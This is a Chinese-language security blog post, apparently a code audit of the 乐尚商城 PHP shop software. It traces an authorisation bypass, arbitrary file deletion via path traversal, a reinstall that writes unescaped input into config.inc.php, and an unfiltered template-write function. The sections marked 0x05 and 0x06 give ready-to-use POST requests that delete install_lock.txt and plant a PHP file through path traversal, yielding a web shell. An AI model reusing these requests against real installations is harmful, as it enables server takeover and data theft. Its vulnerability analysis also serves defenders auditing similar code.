不是任何帽子任何客,只想做自己喜欢的事情,怀恋最初的激情

乐尚商城 GetShell

发布:小哲2016-7-17 22:12分类: Web安全 标签: 代码审计

0x01 越权漏洞 //很关键的

漏洞文件:
/admin/controls/common.class.php

function init(){
            if(!(isset($_SESSION['admin']["isLogin"]) && $_SESSION['admin']["isLogin"]==true)){
                $this->redirect("index/index");
            }
            
            $model=$_GET['m'];
            $action=$_GET['a'];
            $adminNode=D("Adminnode","admin");
            $adminGroup=D("Admingroup","admin");
            $nodeId=$adminNode->get($model,$action);
            if($nodeId){
                $g_datas=$adminGroup->load($_SESSION['admin']["group_id"]);
                $auth=unserialize(htmlspecialchars_decode($g_datas['auth']));
                
                if(!in_array($nodeId,$auth)){
                    $this->error("您无权操作!", 2);
                }
            }
        }
程序判断下是否登录后,调用redirect("index/index");

跟踪:

        function redirect($path, $args=""){
            $path=trim($path, "/");
            if($args!="")
                $args="/".trim($args, "/");
            if(strstr($path, "/")){
                $url=$path.$args;
            }else{
                $url=$_GET["m"]."/".$path.$args;
            }

            $uri=B_APP.'/'.$url;
            //使用js跳转前面可以有输出
            echo '<script>';
            echo 'location="'.$uri.'"';
            echo '</script>';
        }

好像就是直接输出JS跳转。也就是说只要禁用了JS,就绕过了第一个判断。

第二个判断就是SQL查询请求的操作,返回所需要的权限。
        function get($m,$a){
            $datas=$this->where(array("model"=>$m,"action"=>$a))->select();
            return $datas[0]['id'];
        }
然后和session中的权限比较,如果权限不够就调用Error函数,同时也结束了程序。这里不能像上面那样绕过了。

但如果SQL查询结果是空。就能通过这层判断。我没想到什么绕过方法,所以就只能找缺漏了。查看那张表1.png


大部分模块的操作里面需要权限的基本只有mod ,add ,del .而其他的操作都是不需要权限的,也就是那条SQL查询会返回空。

0x02 任意文件删除


漏洞文件:
/admin/controls/backup.class.php

        function dels(){
            $bu=D("Backup");
            $id=$_POST['id'];
            if(!count($id)){
                $this->error("请选择删除项目", 1);
            }
            if($bu->dels($id)){
                $this->clear_cache();
                $this->success("删除成功!", 1, "backup/index");
            } else {
                $this->error("删除失败!", 1, "backup/index");
            }
        }

首先这里的操作是dels。不是del。(del操作也有任意文件删除的洞。。)因为在ls_adminnode表里面没有设置dels操作需要的权限。所以这个函数是不要任何后台权限触发的。

/admin/models/backup.class.php

        function dels($id){
            $num=0;
            $n=count($id);
            foreach($id as $v){
                $filename=trim($v);
                $path=PROJECT_PATH."backup/".$filename;
                if(Simfile::delete($path)){
                    $num++;
                }
            }
            if($n==$num){
                return true;
            }
            return false;
        }

id参数没有任何过滤就直接遍历删除了。
因此可以直接删除掉install_lock.txt,然后、、、

0x03 重装getshell

文件:
/install/paras.php

    ............
    if(isset($_POST['submit'])){
        $dbhost=trim($_POST['dbhost']);
        $dbuser=trim($_POST['dbuser']);
        $dbname=trim($_POST['dbname']);
        $dbpass=trim($_POST['dbpass']);
        $dbpre=trim($_POST['dbpre']);
        if(!isset($_POST['is_default'])){
             $_POST['db_list']="default_db.sql";
        } 
        if($dbhost == '' || $dbname == ''|| $dbuser== ''|| $dbpre == ''|| $_POST['admin_password'] == '' || $_POST['confirm_pass'] == '' ){
            $m="参数不完整,请填写完整";
            echo "<script>mess('{$m}');</script>";
        } elseif($_POST['admin_password']!=$_POST['confirm_pass']){
            $m="两次密码不一致";
            echo "<script>mess('{$m}');</script>";
        }/*elseif (mysql_get_server_info()<5.0) {
            $m="请选择MYSQL5以上版本";
            echo "<script>mess('{$m}');</script>";
        }*/elseif(!$db = @mysql_connect($dbhost, $dbuser, $dbpass)){
            $m="连接数据库错误,请核对信息是否正确";
            echo "<script>mess('{$m}');</script>";
        }else{
            if(change_config()){
                $bd=build_database($_POST);
                if($bd['status']){
                    file_put_contents("./install_lock.txt", "CMS INSTALL OK ...");
                    echo "<script>window.location.href='success.php'</script>";
                } else {
                    echo "<script>window.location.href='error.php?mess=".$bd['mess']."'</script>";
                }
            } else {
                $mess=urlencode("写入配置文件错误");
                echo "<script>window.location.href='error.php?mess=".$mess."'</script>";
            }
        }
    ..........
    
    function change_config(){
            $configArray=array("HOST"=>trim($_POST['dbhost']),
                               "USER"=>trim($_POST['dbuser']),
                               "PASS"=>trim($_POST['dbpass']),
                               "DBNAME"=>trim($_POST['dbname']),
                               "TABPREFIX"=>trim($_POST['dbpre'])
                               );
            $filename="../config.inc.php";
            $configText = file_get_contents($filename);
            foreach($configArray as $key => $val) {
                $pattern[]='/define\(\"'.$key.'\",\s*.+\);/';
                $repContent[]='define("'.$key.'", "'.$val.'");';
            }
            $configText = preg_replace($pattern, $repContent, $configText);
            return file_put_contents($filename, $configText);
    }

安装程序在验证完数据库连接信息可用后,就直接将信息写入了config文件。即便是后面步骤不成功。

而且写入配置文件的时候,是使用双引号包含变量,双引号在提交的时候又不会被过滤。所以就可以getshell啦。

0x05 Exploit

1)删除install_lock.txt
    http://localhost/admin.php/backup/dels/
    POST id[0]=../install/install_lock.txt

2)http://localhost/install/ 重装:2.png

3)Shell:http://localhost/config.inc.php

3.png以上是粗暴的方法。
而且很麻烦,优雅点:
0x06 优雅Getshell
漏洞文件:/admin/controls/code.class.php

        function mod(){
            $file=trim($_POST['name']);
            $dir=trim($_POST['dir']);
            $tpl_content =$_POST['tpl_content'];
            $current_dir=trim($_POST['current_dir']);
            $config=D("Config");
            $config_data=$config->config_list();
            if($current_dir=="tpl"){
                $filename=dirname(dirname(__FILE__))."/../../"."home/views/".$config_data[0]['template']."/".$dir."/".$file;
            } else {
                $filename=dirname(dirname(__FILE__))."/../../"."home/views/".$config_data[0]['template']."/resource/".$dir."/".$file;
            }
            if(!$handle = @fopen($filename, 'wb')){
                $this->error("打开目标模版文件失败,请检查模版目录的权限",1);
            }
            if(fwrite($handle, $tpl_content) === false){
                $this->error('写入目标 $file 失败,请检查读写权限',1);
            }
            fclose($handle);
            $this->success("编辑成功!", 1);
        }

没有多余的过滤直接写文件了。简单粗暴。直接在tpl_content参数中放入php代码,file参数设置为luan.php就可以getshell了。还能控制dir变量写到不同的目录

去。优雅多了不是么?

exp:

http://127.0.0.1/admin.php/code/mod
POST:
tpl_content=<?php phpinfo()?>&name=luan.php&dir=index/../../../..¤t_dir=tpl

phpinfo()就写在根目录的luan.php里面了。漏洞证明截图.png

温馨提示如有转载或引用以上内容之必要,敬请将本文链接作为出处标注,谢谢合作!

已有 0/362 人参与

欢迎分享Test404

欢迎使用手机扫描访问本站,还可以加站长QQ哦~